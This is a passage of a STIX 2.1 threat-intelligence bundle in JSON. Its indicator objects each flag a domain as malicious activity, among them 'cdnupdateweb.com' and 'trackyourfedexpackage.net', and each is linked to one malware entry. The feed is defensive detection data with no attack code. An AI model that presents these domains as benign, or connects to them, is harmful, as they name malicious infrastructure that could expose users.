"indicator--a5684446-a167-44d0-a960-60c8fddc5111", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--219568ba-8b02-45bc-bfc2-45fcdc05363e", "created": "2024-01-26T21:28:21.428534Z", "modified": "2024-01-26T21:28:21.428534Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='egov-segek.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.428534Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--44341b3e-adf9-4b6d-86e0-a55d51b6df99", "created": "2024-01-26T21:28:21.428919Z", "modified": "2024-01-26T21:28:21.428919Z", "relationship_type": "indicates", "source_ref": "indicator--219568ba-8b02-45bc-bfc2-45fcdc05363e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--598cc861-479d-4330-a44a-c7311fcc3996", "created": "2024-01-26T21:28:21.429013Z", "modified": "2024-01-26T21:28:21.429013Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='face-image.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.429013Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--379e24e8-0a2a-480c-8341-ebfe414b35b6", "created": "2024-01-26T21:28:21.429395Z", "modified": "2024-01-26T21:28:21.429395Z", "relationship_type": "indicates", "source_ref": "indicator--598cc861-479d-4330-a44a-c7311fcc3996", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--98b5cf0c-d080-4114-a7b7-95c766722254", "created": "2024-01-26T21:28:21.42949Z", "modified": "2024-01-26T21:28:21.42949Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='readirectly.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.42949Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4fecc509-7e54-40a6-8856-af7446d71724", "created": "2024-01-26T21:28:21.429959Z", "modified": "2024-01-26T21:28:21.429959Z", "relationship_type": "indicates", "source_ref": "indicator--98b5cf0c-d080-4114-a7b7-95c766722254", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--da9c34a2-5cb7-4326-ab40-3f6d5cfc5ddc", "created": "2024-01-26T21:28:21.430058Z", "modified": "2024-01-26T21:28:21.430058Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='goroskop.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.430058Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--94c28624-b72b-44e5-b125-77d6be3ec572", "created": "2024-01-26T21:28:21.43044Z", "modified": "2024-01-26T21:28:21.43044Z", "relationship_type": "indicates", "source_ref": "indicator--da9c34a2-5cb7-4326-ab40-3f6d5cfc5ddc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d4f0170a-2734-45a8-8c86-bcac756bb738", "created": "2024-01-26T21:28:21.430537Z", "modified": "2024-01-26T21:28:21.430537Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sunrise-brink.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.430537Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6d928bab-72d1-4ffa-818b-e0de673e5028", "created": "2024-01-26T21:28:21.430926Z", "modified": "2024-01-26T21:28:21.430926Z", "relationship_type": "indicates", "source_ref": "indicator--d4f0170a-2734-45a8-8c86-bcac756bb738", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--aef9b0d9-66d0-4617-9000-127bf6d0ba73", "created": "2024-01-26T21:28:21.431022Z", "modified": "2024-01-26T21:28:21.431022Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='guardnotes.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.431022Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e9acd6b7-a9e1-4b00-b04e-9809588f4fa0", "created": "2024-01-26T21:28:21.431405Z", "modified": "2024-01-26T21:28:21.431405Z", "relationship_type": "indicates", "source_ref": "indicator--aef9b0d9-66d0-4617-9000-127bf6d0ba73", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a544e228-cfb0-4f37-9cd2-fa0ccc24ad0d", "created": "2024-01-26T21:28:21.431502Z", "modified": "2024-01-26T21:28:21.431502Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bestadventures4u.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.431502Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c244cdba-0c82-4be0-a3cf-65e889480003", "created": "2024-01-26T21:28:21.431891Z", "modified": "2024-01-26T21:28:21.431891Z", "relationship_type": "indicates", "source_ref": "indicator--a544e228-cfb0-4f37-9cd2-fa0ccc24ad0d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d4e324bb-124f-4bf5-9eee-6052dc1ae946", "created": "2024-01-26T21:28:21.431986Z", "modified": "2024-01-26T21:28:21.431986Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='trackyourfedexpackage.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.431986Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3e503f38-e4d1-4978-8b1d-bf5477ecd0e4", "created": "2024-01-26T21:28:21.432383Z", "modified": "2024-01-26T21:28:21.432383Z", "relationship_type": "indicates", "source_ref": "indicator--d4e324bb-124f-4bf5-9eee-6052dc1ae946", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--45482685-bd1d-4b2f-8e36-d6973dc2b0da", "created": "2024-01-26T21:28:21.432483Z", "modified": "2024-01-26T21:28:21.432483Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectprotocol.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.432483Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ff0cf161-94fe-4c00-80a5-fbaf70341881", "created": "2024-01-26T21:28:21.432874Z", "modified": "2024-01-26T21:28:21.432874Z", "relationship_type": "indicates", "source_ref": "indicator--45482685-bd1d-4b2f-8e36-d6973dc2b0da", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ff49573b-cb10-4790-a01f-9c130d2f3f43", "created": "2024-01-26T21:28:21.432971Z", "modified": "2024-01-26T21:28:21.432971Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sendingurl.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.432971Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c5eae803-e7ec-4c03-93fa-a2d6cf8cdf21", "created": "2024-01-26T21:28:21.433353Z", "modified": "2024-01-26T21:28:21.433353Z", "relationship_type": "indicates", "source_ref": "indicator--ff49573b-cb10-4790-a01f-9c130d2f3f43", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b0f3a2b9-a0f8-4c00-87b9-072afa2a4691", "created": "2024-01-26T21:28:21.433448Z", "modified": "2024-01-26T21:28:21.433448Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='whatcanidowithbirds.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.433448Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5c502da9-6d7a-4c32-9eba-7f79c595f906", "created": "2024-01-26T21:28:21.433846Z", "modified": "2024-01-26T21:28:21.433846Z", "relationship_type": "indicates", "source_ref": "indicator--b0f3a2b9-a0f8-4c00-87b9-072afa2a4691", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--292bbb24-a63c-4316-9542-3df1301c0070", "created": "2024-01-26T21:28:21.434023Z", "modified": "2024-01-26T21:28:21.434023Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cdnupdateweb.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.434023Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--06c46cd4-6853-4e92-835f-3be0f4f6db17", "created": "2024-01-26T21:28:21.434504Z", "modified": "2024-01-26T21:28:21.434504Z", "relationship_type": "indicates", "source_ref": "indicator--292bbb24-a63c-4316-9542-3df1301c0070", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2f01d765-f10a-4f4c-b6b9-7ee946b0be18", "created": "2024-01-26T21:28:21.434605Z", "modified": "2024-01-26T21:28:21.434605Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='adsload.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.434605Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4f55b8c8-3529-44fd-a66b-8bf9fcda25ac", "created": "2024-01-26T21:28:21.434987Z", "modified": "2024-01-26T21:28:21.434987Z", "relationship_type": "indicates", "source_ref": "indicator--2f01d765-f10a-4f4c-b6b9-7ee946b0be18", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d793f3d4-5b3e-48a1-92fe-0dc825a3361a", "created": "2024-01-26T21:28:21.435082Z", "modified": "2024-01-26T21:28:21.435082Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='snoweverywhere.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.435082Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--708fd5f4-2149-4da7-868d-e5328ccfbcf2", "created": "2024-01-26T21:28:21.435469Z", "modified": "2024-01-26T21:28:21.435469Z", "relationship_type": "indicates", "source_ref": "indicator--d793f3d4-5b3e-48a1-92fe-0dc825a3361a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ee42eda2-73a3-4453-a32a-cafdee899abe", "created": "2024-01-26T21:28:21.435565Z", "modified": "2024-01-26T21:28:21.435565Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='renewal-control.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.435565Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8489084b-804b-4b23-a278-79c59668d109", "created": "2024-01-26T21:28:21.43595Z", "modified": "2024-01-26T21:28:21.43595Z", "relationship_type": "indicates", "source_ref": "indicator--ee42eda2-73a3-4453-a32a-cafdee899abe", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d2df1064-a237-45a3-b36f-a0f720fdbc50", "created": "2024-01-26T21:28:21.43605Z", "modified": "2024-01-26T21:28:21.43605Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='alrainew.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.43605Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3f39ab3b-280b-454d-b237-d7c15df75d47", "created": "2024-01-26T21:28:21.436437Z", "modified": "2024-01-26T21:28:21.436437Z", "relationship_type": "indicates", "source_ref": "indicator--d2df1064-a237-45a3-b36f-a0f720fdbc50", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--559cbc4c-5ea4-410f-a81e-23f9491d3b4f", "created": "2024-01-26T21:28:21.436539Z", "modified": "2024-01-26T21:28:21.436539Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='the-only-way-out.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.436539Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--623196fe-017e-4b07-ac7e-221bf4483475", "created": "2024-01-26T21:28:21.436933Z", "modified": "2024-01-26T21:28:21.436933Z", "relationship_type": "indicates", "source_ref": "indicator--559cbc4c-5ea4-410f-a81e-23f9491d3b4f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--58d13471-06c9-450a-be3b-183b6f025a0a", "created": "2024-01-26T21:28:21.437028Z", "modified": "2024-01-26T21:28:21.437028Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='loading-url.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.437028Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b0ebbc32-3448-47e9-90f4-2633ab6ab19a", "created": "2024-01-26T21:28:21.437411Z", "modified": "2024-01-26T21:28:21.437411Z", "relationship_type": "indicates", "source_ref": "indicator--58d13471-06c9-450a-be3b-183b6f025a0a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6d2d9b7b-6177-4a69-9aaa-660fbeb723b0", "created": "2024-01-26T21:28:21.437506Z", "modified": "2024-01-26T21:28:21.437506Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='actu24.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.437506Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3e469a74-3be6-43c6-a036-306bf0e22901", "created": "2024-01-26T21:28:21.437886Z", "modified": "2024-01-26T21:28:21.437886Z", "relationship_type": "indicates", "source_ref": "indicator--6d2d9b7b-6177-4a69-9aaa-660fbeb723b0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f518961c-7c47-45e9-b516-88094a5692bd", "created": "2024-01-26T21:28:21.437982Z", "modified": "2024-01-26T21:28:21.437982Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='regularhours.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.437982Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8ee6b4af-fc0f-484b-a567-79d2843886a5", "created": "2024-01-26T21:28:21.438367Z", "modified": "2024-01-26T21:28:21.438367Z", "relationship_type": "indicates", "source_ref": "indicator--f518961c-7c47-45e9-b516-88094a5692bd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--53e26f68-f231-427c-90b8-8deb122ed031", "created": "2024-01-26T21:28:21.438462Z", "modified": "2024-01-26T21:28:21.438462Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='funinthesun4u.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.438462Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--addb38a8-a572-4c59-a96b-a9f96e3a81e3", "created": "2024-01-26T21:28:21.438929Z", "modified": "2024-01-26T21:28:21.438929Z", "relationship_type": "indicates", "source_ref": "indicator--53e26f68-f231-427c-90b8-8deb122ed031", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4e382728-c083-48a2-bf5f-e80a03f9a3c7", "created": "2024-01-26T21:28:21.439026Z", "modified": "2024-01-26T21:28:21.439026Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dns-upload.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.439026Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6b79baa4-b330-4f64-837a-e02c49c278d6", "created": "2024-01-26T21:28:21.439411Z", "modified": "2024-01-26T21:28:21.439411Z", "relationship_type": "indicates", "source_ref": "indicator--4e382728-c083-48a2-bf5f-e80a03f9a3c7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bedad6ad-3848-4990-98d5-9306e71fb4a5", "created": "2024-01-26T21:28:21.439508Z", "modified": "2024-01-26T21:28:21.439508Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mypostservice.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.439508Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d5e7c5ce-9c9d-4027-915e-7c9c488def86", "created": "2024-01-26T21:28:21.4399Z", "modified": "2024-01-26T21:28:21.4399Z", "relationship_type": "indicates", "source_ref": "indicator--bedad6ad-3848-4990-98d5-9306e71fb4a5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--51c851d8-0e67-4716-8805-b30d13e4625b", "created": "2024-01-26T21:28:21.439998Z", "modified": "2024-01-26T21:28:21.439998Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='akhbar-islamyah.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.439998Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--676b0d4d-061f-4e0f-8688-14b3682e5379", "created": "2024-01-26T21:28:21.440386Z", "modified": "2024-01-26T21:28:21.440386Z", "relationship_type": "indicates", "source_ref": "indicator--51c851d8-0e67-4716-8805-b30d13e4625b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ec19a7e5-26da-4be4-92cf-afe44d156918", "created": "2024-01-26T21:28:21.440488Z", "modified": "2024-01-26T21:28:21.440488Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='infospotpro.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.440488Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dfa6d321-7814-4a32-a1fe-6932df426085", "created": "2024-01-26T21:28:21.440875Z", "modified": "2024-01-26T21:28:21.440875Z", "relationship_type": "indicates", "source_ref": "indicator--ec19a7e5-26da-4be4-92cf-afe44d156918", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--db64de03-6a73-480c-b587-b98cced6d398", "created": "2024-01-26T21:28:21.44097Z", "modified": "2024-01-26T21:28:21.44097Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='auditorcast.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.44097Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--eac4b7e5-22fc-4e4d-af54-968a262cd107", "created": "2024-01-26T21:28:21.441355Z", "modified": "2024-01-26T21:28:21.441355Z", "relationship_type": "indicates", "source_ref": "indicator--db64de03-6a73-480c-b587-b98cced6d398", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7a18d41f-c412-47f7-b4ed-d2a24f5c2321", "created": "2024-01-26T21:28:21.44145Z", "modified": "2024-01-26T21:28:21.44145Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='gettingurl.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.44145Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--93e9669d-d07f-49d1-9f9d-7e88823e1ead", "created": "2024-01-26T21:28:21.441839Z", "modified": "2024-01-26T21:28:21.441839Z", "relationship_type": "indicates", "source_ref": "indicator--7a18d41f-c412-47f7-b4ed-d2a24f5c2321", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6ddb0b5d-614f-4708-954a-09f0a6324ba7", "created": "2024-01-26T21:28:21.441935Z", "modified": "2024-01-26T21:28:21.441935Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='shortfb.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.441935Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7c3b59ae-8124-411b-8dc8-c1eddd1c9402", "created": "2024-01-26T21:28:21.442315Z", "modified": "2024-01-26T21:28:21.442315Z", "relationship_type": "indicates", "source_ref": "indicator--6ddb0b5d-614f-4708-954a-09f0a6324ba7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--532809e8-0093-483d-9000-3024314cd3f0", "created": "2024-01-26T21:28:21.442411Z", "modified": "2024-01-26T21:28:21.442411Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='kaidee.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.442411Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--da5b2075-6328-4a4f-b0cb-21e9e37e41f6", "created": "2024-01-26T21:28:21.442799Z", "modified": "2024-01-26T21:28:21.442799Z", "relationship_type": "indicates", "source_ref": "indicator--532809e8-0093-483d-9000-3024314cd3f0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4015d016-2bbb-4f3b-bb66-4bc7edbff9f9", "created": "2024-01-26T21:28:21.443132Z", "modified": "2024-01-26T21:28:21.443132Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='quota-reader.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.443132Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6cb2753e-fa96-4177-9b5b-1b65103f4de9", "created": "2024-01-26T21:28:21.443899Z", "modified": "2024-01-26T21:28:21.443899Z", "relationship_type": "indicates", "source_ref": "indicator--4015d016-2bbb-4f3b-bb66-4bc7edbff9f9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9d967211-c38c-46ae-aa5f-ccfa9d15ec6a", "created": "2024-01-26T21:28:21.444065Z", "modified": "2024-01-26T21:28:21.444065Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='severalheroes.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.444065Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ccb39ae3-d39e-4fff-b9fb-090689bc3d02", "created": "2024-01-26T21:28:21.44465Z", "modified": "2024-01-26T21:28:21.44465Z", "relationship_type": "indicates", "source_ref": "indicator--9d967211-c38c-46ae-aa5f-ccfa9d15ec6a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c6ac3a34-0e0a-4814-b295-87a80c648b77", "created": "2024-01-26T21:28:21.444776Z", "modified": "2024-01-26T21:28:21.444776Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='legyelvodas.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.444776Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7265d5d4-63f0-4efd-a30e-13a223b3f98f", "created": "2024-01-26T21:28:21.445204Z", "modified": "2024-01-26T21:28:21.445204Z", "relationship_type": "indicates", "source_ref": "indicator--c6ac3a34-0e0a-4814-b295-87a80c648b77", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0c1bb7da-325d-4559-8922-7602028a416c", "created": "2024-01-26T21:28:21.445306Z", "modified": "2024-01-26T21:28:21.445306Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='htmlstats.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.445306Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1d13a81a-fb90-4325-a5ae-18137c64e90f", "created": "2024-01-26T21:28:21.445722Z", "modified": "2024-01-26T21:28:21.445722Z", "relationship_type": "indicates", "source_ref": "indicator--0c1bb7da-325d-4559-8922-7602028a416c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9065f1b6-e97c-40aa-a34b-5e8056f640d8", "created": "2024-01-26T21:28:21.445822Z", "modified": "2024-01-26T21:28:21.445822Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirect-traffic.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.445822Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6e8ac82a-61ea-4603-a25c-151f1e7bfd11", "created": "2024-01-26T21:28:21.446237Z", "modified": "2024-01-26T21:28:21.446237Z", "relationship_type": "indicates", "source_ref": "indicator--9065f1b6-e97c-40aa-a34b-5e8056f640d8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--02178657-731f-4b1b-a4ec-97f3818f0d75", "created": "2024-01-26T21:28:21.446338Z", "modified": "2024-01-26T21:28:21.446338Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='blockedsituation.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.446338Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5dd3566d-92a3-4b13-831b-ba4c95ab23f5", "created": "2024-01-26T21:28:21.446744Z", "modified": "2024-01-26T21:28:21.446744Z", "relationship_type": "indicates", "source_ref": "indicator--02178657-731f-4b1b-a4ec-97f3818f0d75", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e9d69646-ffb4-4005-9cd5-6e5eb030a118", "created": "2024-01-26T21:28:21.446846Z", "modified": "2024-01-26T21:28:21.446846Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='foto-top.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.446846Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--53eba609-0642-4e5e-bb06-36a2ba91529f", "created": "2024-01-26T21:28:21.447252Z", "modified": "2024-01-26T21:28:21.447252Z", "relationship_type": "indicates", "source_ref": "indicator--e9d69646-ffb4-4005-9cd5-6e5eb030a118", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bee8768b-1e83-4564-9a4e-4bbc3ff0baff", "created": "2024-01-26T21:28:21.447349Z", "modified": "2024-01-26T21:28:21.447349Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sendhtml.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.447349Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--253e8603-2d53-401e-801e-c1a465daaf29", "created": "2024-01-26T21:28:21.447763Z", "modified": "2024-01-26T21:28:21.447763Z", "relationship_type": "indicates", "source_ref": "indicator--bee8768b-1e83-4564-9a4e-4bbc3ff0baff", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--af268cce-f527-48b7-91ef-12f86d87bfc8", "created": "2024-01-26T21:28:21.447862Z", "modified": "2024-01-26T21:28:21.447862Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mobile-update.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.447862Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--adfccb38-6f7b-4d09-b11c-9db4bfcc2462", "created": "2024-01-26T21:28:21.448271Z", "modified": "2024-01-26T21:28:21.448271Z", "relationship_type": "indicates", "source_ref": "indicator--af268cce-f527-48b7-91ef-12f86d87bfc8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5a3937c8-77aa-4b1d-88e9-10322c63cee0", "created": "2024-01-26T21:28:21.448372Z", "modified": "2024-01-26T21:28:21.448372Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='wishdownget.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.448372Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7bddb60f-1d84-4d26-afdf-b34143ad09c3", "created": "2024-01-26T21:28:21.448872Z", "modified": "2024-01-26T21:28:21.448872Z", "relationship_type": "indicates", "source_ref": "indicator--5a3937c8-77aa-4b1d-88e9-10322c63cee0", "target_ref": 